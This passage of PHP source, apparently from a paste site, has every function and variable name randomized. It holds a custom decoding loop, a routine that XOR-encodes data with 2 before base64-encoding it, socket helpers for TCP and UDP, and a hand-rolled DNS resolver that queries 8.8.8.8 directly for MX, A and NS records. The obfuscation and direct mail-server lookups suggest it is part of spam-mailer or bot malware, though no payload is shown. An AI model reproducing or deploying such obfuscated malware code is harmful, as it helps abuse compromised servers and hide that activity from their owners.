  638.         for ($uuuqf17 = 0; isset($mwvtg92[$uuuqf17]); $uuuqf17++) {
  639.             $phqtg90 = ($phqtg90 << 6) + $uzlie40[$mwvtg92[$uuuqf17]];
  640.             if ($uuuqf17 > 0) {
  641.                 $qugkp78 .= $gdhxk63[$phqtg90 >> (4 - (2 * ($uuuqf17 - 1)))];
  642.                 $phqtg90 = $phqtg90 & (0xf >> (2 * ($uuuqf17 - 1)));
  643.             }
  644.         }
  645.     }
  646.     return $qugkp78;
  647. }
  648. function carlg0($r42, $wvwge14)
  649. {
  650.     for ($oikup15 = 0; $oikup15 < strlen($wvwge14); $oikup15++) {
  651.         $wvwge14[$oikup15] = chr(ord($wvwge14[$oikup15]) ^ 2);
  652.     }
  653.     return base64_encode($wvwge14);
  654. }
  655. function wldwf87($r42, $drtgm97, $vdnfl66, $xsqey76, $zpsxl98, $aikce84, &$jmvht55, &$ttsxi60, $bimcx77 = false)
  656. {
  657.     $slnjd70 = "";
  658.     $eumba8  = NULL;
  659.     $xfwfa66 = NULL;
  660.     $jmvht55 = 0;
  661.     $ttsxi60 = "";
  662.     if ($vdnfl66 == constant('SOCKET_PROTO_TCP')) {
  663.         $slnjd70 = 'tcp';
  664.         $eumba8  = SOL_TCP;
  665.         $xfwfa66 = SOCK_STREAM;
  666.     } else if ($vdnfl66 == constant('SOCKET_PROTO_UDP')) {
  667.         $slnjd70 = 'udp';
  668.         $xfwfa66 = SOCK_DGRAM;
  669.         $eumba8  = SOL_UDP;
  670.     } else {
  671.         $ttsxi60 = 'Error: invalid protocol';
  672.         return FALSE;
  673.     }
  674.     switch (constant('SOCKET_TYPE')) {
  675.         case constant('SOCKET_TYPE_SOCKET'):
  676.             if ($drtgm97 == FALSE) {
  677.                 $drtgm97 = @socket_create(AF_INET, $xfwfa66, $eumba8);
  678.                 if ($drtgm97 == FALSE) {
  679.                     $jmvht55 = socket_last_error();
  680.                     $ttsxi60 = socket_strerror($jmvht55);
  681.                     break;
  682.                 }
  683.                 socket_set_option($drtgm97, SOL_SOCKET, SO_REUSEADDR, 1);
  684.                 socket_set_option($drtgm97, SOL_SOCKET, SO_RCVTIMEO, array(
  685.                     'sec' => $aikce84,
  686.                     'usec' => 0
  687.                 ));
  688.                 socket_set_option($drtgm97, SOL_SOCKET, SO_SNDTIMEO, array(
  689.                     'sec' => $aikce84,
  690.                     'usec' => 0
  691.                 ));
  692.                 if ($bimcx77) {
  693.                     socket_set_nonblock($drtgm97);
  694.                 }
  695.             }
  696.             if (!@socket_connect($drtgm97, $xsqey76, $zpsxl98)) {
  697.                 $jmvht55 = socket_last_error($drtgm97);
  698.                 $ttsxi60 = socket_strerror($jmvht55);
  699.             }
  700.             if ($bimcx77) {
  701.                 socket_set_nonblock($drtgm97);
  702.             }
  703.             break;
  704.         case constant('SOCKET_TYPE_FSOCKET'):
  705.             $drtgm97 = @fsockopen($slnjd70 . '://' . $xsqey76, $zpsxl98, $jmvht55, $ttsxi60, $aikce84);
  706.             if ($drtgm97 && $bimcx77) {
  707.                 @stream_set_blocking($drtgm97, 0);
  708.             }
  709.             @stream_set_timeout($drtgm97, $aikce84);
  710.             break;
  711.         case constant('SOCKET_TYPE_STREAM'):
  712.             $drtgm97 = @stream_socket_client($slnjd70 . '://' . $xsqey76 . ':' . $zpsxl98, $jmvht55, $ttsxi60, $aikce84);
  713.             if ($drtgm97 && $bimcx77) {
  714.                 @stream_set_blocking($drtgm97, 0);
  715.             }
  716.             @stream_set_timeout($drtgm97, $aikce84);
  717.             break;
  718.         default:
  719.             $ttsxi60 = 'Error: invalid socket type';
  720.             return FALSE;
  721.     }
  722.     return $drtgm97;
  723. }
  724. function etkcc59($r42, &$drtgm97)
  725. {
  726.     if ($drtgm97 == FALSE) {
  727.         return;
  728.     }
  729.     if (constant('SOCKET_TYPE') == constant('SOCKET_TYPE_SOCKET')) {
  730.         @stream_close($drtgm97);
  731.     } else {
  732.         @fclose($drtgm97);
  733.     }
  734.     $drtgm97 = FALSE;
  735.     return;
  736. }
  737. function tenht73($r42, $drtgm97, $wvnpi33, &$jmvht55, &$ttsxi60)
  738. {
  739.     if ($drtgm97 == FALSE) {
  740.         return FALSE;
  741.     }
  742.     if (constant('SOCKET_TYPE') == constant('SOCKET_TYPE_SOCKET')) {
  743.         $qugkp78 = @socket_read($drtgm97, $wvnpi33, PHP_BINARY_READ);
  744.         if ($qugkp78 == FALSE) {
  745.             $jmvht55 = socket_last_error($drtgm97);
  746.             $ttsxi60 = socket_strerror($jmvht55);
  747.         }
  748.     } else {
  749.         if (@feof($drtgm97)) {
  750.             return FALSE;
  751.         }
  752.         $qugkp78 = @fread($drtgm97, $wvnpi33);
  753.         if (strlen($qugkp78) == 0) {
  754.             $jmvht55 = 35;
  755.         }
  756.     }
  757.     return $qugkp78;
  758. }
  759. function fmwwl90($r42, $drtgm97, $vvrje90, &$jmvht55, &$ttsxi60)
  760. {
  761.     if ($drtgm97 == FALSE) {
  762.         return FALSE;
  763.     }
  764.     if (constant('SOCKET_TYPE') == constant('SOCKET_TYPE_SOCKET')) {
  765.         $qugkp78 = @socket_write($drtgm97, $vvrje90);
  766.         if ($qugkp78 == FALSE) {
  767.             $jmvht55 = socket_last_error($drtgm97);
  768.             $ttsxi60 = socket_strerror($jmvht55);
  769.         }
  770.     } else {
  771.         if (@feof($drtgm97)) {
  772.             return FALSE;
  773.         }
  774.         $qugkp78 = @fwrite($drtgm97, $vvrje90);
  775.     }
  776.     return $qugkp78;
  777. }
  778. function xbeqq8($r42, $drtgm97, $aikce84)
  779. {
  780.     if ($drtgm97 == FALSE) {
  781.         return FALSE;
  782.     }
  783.     if (constant('SOCKET_TYPE') == constant('SOCKET_TYPE_SOCKET')) {
  784.         @socket_set_option($drtgm97, SOL_SOCKET, SO_RCVTIMEO, array(
  785.             'sec' => $aikce84,
  786.             'usec' => 0
  787.         ));
  788.         @socket_set_option($drtgm97, SOL_SOCKET, SO_SNDTIMEO, array(
  789.             'sec' => $aikce84,
  790.             'usec' => 0
  791.         ));
  792.     } else {
  793.         @stream_set_timeout($drtgm97, $aikce84);
  794.     }
  795.     return TRUE;
  796. }
  797.  
  798. function herwg20($r42, $ojgjp4, $gtngv41)
  799. {
  800.     $jmvht55 = 0;
  801.     $ttsxi60 = "";
  802.     $drtgm97 = wldwf87($r42, FALSE, constant('SOCKET_PROTO_UDP'), '8.8.8.8', 53, 10, $jmvht55, $ttsxi60);
  803.     if (!$drtgm97) {
  804.         return FALSE;
  805.     }
  806.     $exiom78 = rand(0x0001, 0xFFFE);
  807.     $nnvrb27 = explode('.', $ojgjp4);
  808.     $zrfhs37 = pack('nnnnnn', $exiom78, 0x0100, 0x0001, 0x0000, 0x0000, 0x0000);
  809.     foreach ($nnvrb27 as $xedcw9) {
  810.         $zrfhs37 .= pack('Ca*', strlen($xedcw9), $xedcw9);
  811.     }
  812.     $zrfhs37 .= pack('Cnn', 0x00, $gtngv41, 0x0001);
  813.     $adkol45 = fmwwl90($r42, $drtgm97, $zrfhs37, $jmvht55, $ttsxi60);
  814.     if (!$adkol45 || $adkol45 != strlen($zrfhs37)) {
  815.         etkcc59($r42, $drtgm97);
  816.         return FALSE;
  817.     }
  818.     $pcnjy35 = tenht73($r42, $drtgm97, 4086, $jmvht55, $ttsxi60);
  819.     if ($pcnjy35 == FALSE || strlen($pcnjy35) < 12) {
  820.         etkcc59($r42, $drtgm97);
  821.         return FALSE;
  822.     }
  823.     $cwrth30 = unpack('ntid/nflags/nque/nans/nauth/nadd', substr($pcnjy35, 0, 12));
  824.     $kdlnh6  = 12;
  825.     $qugkp78 = array(
  826.         'header' => $cwrth30
  827.     );
  828.     for ($uuuqf17 = constant('DNS_STEP_QESTION'); $uuuqf17 <= constant('DNS_STEP_ADDITIONAL'); $uuuqf17++) {
  829.         $agzzp98 = '';
  830.         switch ($uuuqf17) {
  831.             case constant('DNS_STEP_QESTION'):
  832.                 $agzzp98 = 'que';
  833.                 break;
  834.             case constant('DNS_STEP_ANSWER'):
  835.                 $agzzp98 = 'ans';
  836.                 break;
  837.             case constant('DNS_STEP_AUTHORITY'):
  838.                 $agzzp98 = 'auth';
  839.                 break;
  840.             case constant('DNS_STEP_ADDITIONAL'):
  841.                 $agzzp98 = 'add';
  842.                 break;
  843.         }
  844.         for ($bubil25 = 0; $bubil25 < $cwrth30[$agzzp98]; $bubil25++) {
  845.             $xexbl32['name'] = gxhti26($r42, $kdlnh6, $pcnjy35);
  846.             if ($uuuqf17 == constant('DNS_STEP_QESTION')) {
  847.                 $xexbl32 = array_merge($xexbl32, unpack('ntype/nclass', substr($pcnjy35, $kdlnh6, 4)));
  848.                 $kdlnh6 += 4;
  849.             } else {
  850.                 $xexbl32 = array_merge($xexbl32, unpack('ntype/nclass/Nttl/ndatalength', substr($pcnjy35, $kdlnh6, 10)));
  851.                 $kdlnh6 += 10;
  852.                 switch ($xexbl32['type']) {
  853.                     case constant('DNS_TYPE_MX'):
  854.                         $xexbl32 = array_merge($xexbl32, unpack('npreference', substr($pcnjy35, $kdlnh6, 2)));
  855.                         $kdlnh6 += 2;
  856.                         $xexbl32['data'] = gxhti26($r42, $kdlnh6, $pcnjy35);
  857.                         break;
  858.                     case constant('DNS_TYPE_A'):
  859.                         $xexbl32 = array_merge($xexbl32, unpack('Ndata', substr($pcnjy35, $kdlnh6, 4)));
  860.                         $kdlnh6 += 4;
  861.                         $xexbl32['ip'] = long2ip($xexbl32['data']);
  862.                         break;
  863.                     case constant('DNS_TYPE_NS'):
  864.                         $xexbl32['data'] = gxhti26($r42, $kdlnh6, $pcnjy35);
  865.                         break;
  866.                     default:
  867.                         $kdlnh6 += $xexbl32['datalength'];
  868.                 }
  869.             }
  870.             $qugkp78[$agzzp98][] = $xexbl32;
  871.         }
  872.     }
  873.     return $qugkp78;
  874. }
  875. function gxhti26($r42, &$lepje39, $pcnjy35)
  876. {
  877.     $qugkp78 = "";
  878.     $pgmhd22 = $lepje39;
  879.     while (ord($pcnjy35[$pgmhd22]) != 0) {
  880.         if (ord($pcnjy35[$pgmhd22]) == 0xC0) {
  881.             if ($pgmhd22 >= $lepje39) {
  882.                 $lepje39 += 2;
  883.             }
  884.             $pgmhd22 = ord($pcnjy35[$pgmhd22 + 1]);
  885.             continue;
  886.         }
  887.         if (strlen($qugkp78) > 0) {
  888.             $qugkp78 .= '.';
  889.         }
  890.         $qugkp78 .= substr($pcnjy35, $pgmhd22 + 1, ord($pcnjy35[$pgmhd22]));
  891.         $pgmhd22 += ord($pcnjy35[$pgmhd22]) + 1;
  892.         if ($pgmhd22 > $lepje39) {
  893.             $lepje39 = $pgmhd22;
  894.         }
  895.     }
  896.     if ($pgmhd22 >= $lepje39) {
  897.         $lepje39 += 1;
  898.     }
  899.     return $qugkp78;
  900. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement